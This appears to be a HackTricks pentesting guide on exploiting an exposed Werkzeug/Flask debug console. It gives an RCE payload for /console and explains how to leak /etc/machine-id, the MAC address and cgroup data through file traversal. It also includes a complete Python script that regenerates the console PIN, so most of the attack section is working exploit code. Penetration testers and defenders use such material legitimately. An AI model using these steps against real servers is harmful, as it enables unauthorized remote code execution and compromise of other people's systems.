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hacktricks/network-services-pentesting/pentesting-web/werkzeug.md
carlospolop c8dc8536b9 hacktricks twitch
2022-12-05 23:29:21 +01:00

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Console RCE

If debug is active you could try to access to /console and gain RCE.

__import__('os').popen('whoami').read();

There is also several exploits on the internet like this or one in metasploit.

Pin Protected

In some occasions the /console endpoint is going to be protected by a pin. Here you can find how to generate this pin:

Werkzeug Console PIN Exploit

Copied from the first link.
See Werkzeug “console locked” message by forcing debug error page in the app.

The console is locked and needs to be unlocked by entering the PIN.
You can find the PIN printed out on the standard output of your
shell that runs the server

Locate vulnerable Werkzeug debug console at path vulnerable-site.com/console, but is locked by secret PIN number.

You can reverse the algorithm generating the console PIN. Inspect Werkzeug’s debug __init__.py file on server e.g. python3.5/site-packages/werkzeug/debug/__init__.py. View Werkzeug source code repo, but better to leak source code through file traversal vulnerability since versions likely differ.

In this file, see relevant method outlining steps to generate console PIN:

def get_pin_and_cookie_name(app):
    pin = os.environ.get('WERKZEUG_DEBUG_PIN')
    rv = None
    num = None

    # Pin was explicitly disabled
    if pin == 'off':
        return None, None

    # Pin was provided explicitly
    if pin is not None and pin.replace('-', '').isdigit():
        # If there are separators in the pin, return it directly
        if '-' in pin:
            rv = pin
        else:
            num = pin

    modname = getattr(app, '__module__',
                      getattr(app.__class__, '__module__'))

    try:
        # `getpass.getuser()` imports the `pwd` module,
        # which does not exist in the Google App Engine sandbox.
        username = getpass.getuser()
    except ImportError:
        username = None

    mod = sys.modules.get(modname)

    # This information only exists to make the cookie unique on the
    # computer, not as a security feature.
    probably_public_bits = [
        username,
        modname,
        getattr(app, '__name__', getattr(app.__class__, '__name__')),
        getattr(mod, '__file__', None),
    ]

    # This information is here to make it harder for an attacker to
    # guess the cookie name.  They are unlikely to be contained anywhere
    # within the unauthenticated debug page.
    private_bits = [
        str(uuid.getnode()),
        get_machine_id(),
    ]

    h = hashlib.md5()
    for bit in chain(probably_public_bits, private_bits):
        if not bit:
            continue
        if isinstance(bit, text_type):
            bit = bit.encode('utf-8')
        h.update(bit)
    h.update(b'cookiesalt')

    cookie_name = '__wzd' + h.hexdigest()[:20]

    # If we need to generate a pin we salt it a bit more so that we don't
    # end up with the same value and generate out 9 digits
    if num is None:
        h.update(b'pinsalt')
        num = ('%09d' % int(h.hexdigest(), 16))[:9]

    # Format the pincode in groups of digits for easier remembering if
    # we don't have a result yet.
    if rv is None:
        for group_size in 5, 4, 3:
            if len(num) % group_size == 0:
                rv = '-'.join(num[x:x + group_size].rjust(group_size, '0')
                              for x in range(0, len(num), group_size))
                break
        else:
            rv = num

    return rv, cookie_name

Variables needed to exploit the console PIN:

probably_public_bits = [
    username,
    modname,
    getattr(app, '__name__', getattr(app.__class__, '__name__')),
    getattr(mod, '__file__', None),
]

private_bits = [
    str(uuid.getnode()),
    get_machine_id(),
]
  • username is the user who started this Flask
  • modname is flask.app
  • getattr(app, '__name__', getattr (app .__ class__, '__name__')) is Flask
  • getattr(mod, '__file__', None) is the absolute path of app.py in the flask directory (e.g. /usr/local/lib/python3.5/dist-packages/flask/app.py). If app.py doesn't work, try app.pyc
  • uuid.getnode() is the MAC address of the current computer, str (uuid.getnode ()) is the decimal expression of the mac address
  • get_machine_id() read the value in /etc/machine-id or /proc/sys/kernel/random/boot_id and return directly if there is, sometimes it might be required to append a piece of information within /proc/self/cgroup that you find at the end of the first line (after the third slash)

To find server MAC address, need to know which network interface is being used to serve the app (e.g. ens3). If unknown, leak /proc/net/arp for device ID and then leak MAC address at /sys/class/net/<device id>/address.

Convert from hex address to decimal representation by running in python e.g.:

>>> print(0x5600027a23ac)
94558041547692

Once all variables prepared, run exploit script to generate Werkzeug console PIN:

import hashlib
from itertools import chain
probably_public_bits = [
    'web3_user',# username
    'flask.app',# modname
    'Flask',# getattr(app, '__name__', getattr(app.__class__, '__name__'))
    '/usr/local/lib/python3.5/dist-packages/flask/app.py' # getattr(mod, '__file__', None),
]

private_bits = [
    '279275995014060',# str(uuid.getnode()),  /sys/class/net/ens33/address
    'd4e6cb65d59544f3331ea0425dc555a1'# get_machine_id(), /etc/machine-id
]

h = hashlib.md5()
for bit in chain(probably_public_bits, private_bits):
    if not bit:
        continue
    if isinstance(bit, str):
        bit = bit.encode('utf-8')
    h.update(bit)
h.update(b'cookiesalt')
#h.update(b'shittysalt')

cookie_name = '__wzd' + h.hexdigest()[:20]

num = None
if num is None:
    h.update(b'pinsalt')
    num = ('%09d' % int(h.hexdigest(), 16))[:9]

rv =None
if rv is None:
    for group_size in 5, 4, 3:
        if len(num) % group_size == 0:
            rv = '-'.join(num[x:x + group_size].rjust(group_size, '0')
                          for x in range(0, len(num), group_size))
            break
    else:
        rv = num

print(rv)

If you are on a new version of Werkzeug, try changing the hashing algorithm to sha1 instead of md5.

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